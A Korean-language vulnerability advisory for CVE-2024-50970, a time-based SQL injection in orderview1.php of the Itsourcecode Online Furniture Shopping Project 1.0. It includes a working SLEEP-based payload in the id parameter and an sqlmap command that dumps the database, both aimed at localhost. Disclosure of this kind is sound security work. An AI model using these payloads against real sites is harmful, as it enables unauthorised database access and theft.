CVE-2024-50970
설명
Itsourcecode Online Furniture Shopping Project 1.0의 orderview1.php에서 발견된 SQL 인젝션 취약점으로, 원격 공격자가 id 파라미터를 통해 임의의 SQL 명령을 실행할 수 있습니다.
취약점 유형
SQL 인젝션
제품 공급업체
Itsourcecode
영향을 받는 제품 코드 베이스:
https://itsourcecode.com/free-projects/php-project/online-furniture-shop-in-php-projects-free-source-code-and-database/ - 1.0
영향을 받는 구성 요소:
Itsourcecode Online Furniture Shopping v1.0은 orderview1.php 페이지의 id 파라미터를 통해 SQL 인젝션에 취약합니다.
공격 벡터:
- 로컬에서 애플리케이션을 설정하고, 계정을 등록한 후 새로 등록한 계정으로 로그인합니다.
- 브라우저에서 다음 URL로 이동합니다:
http://localhost/nikos/orderview1.php?action=edit&id=1728835149
- SQL 페이로드 삽입:
URL의 id 파라미터를 시간 기반 SQL 인젝션 페이로드를 포함하도록 수정합니다.
http://localhost/nikos/orderview1.php?action=edit&id=1728835149+AND+(SELECT+2657+FROM+(SELECT(SLEEP(10)))DTmU)
- 애플리케이션 응답 확인:
인젝션이 성공하면 페이지 로딩 시간이 눈에 띄게 길어져야 하며(10초), 이는 id 파라미터가 SQL 인젝션에 취약함을 확인합니다.
- 이제 SQLMap 도구를 사용하여 추가적인 악용 및 데이터베이스 덤프를 위해 아래 명령어를 실행합니다:
python sqlmap.py -u "http://localhost/nikos/orderview1.php?action=edit&id=1728835149" --cookie="PHPSESSID=your_cookie_here"--risk 3 --level 3 --dbs --technique=T --dump --no-cast
참고 자료:
- https://itsourcecode.com/free-projects/php-project/online-furniture-shop-in-php-projects-free-source-code-and-database/
- https://owasp.org/www-community/attacks/SQL_Injection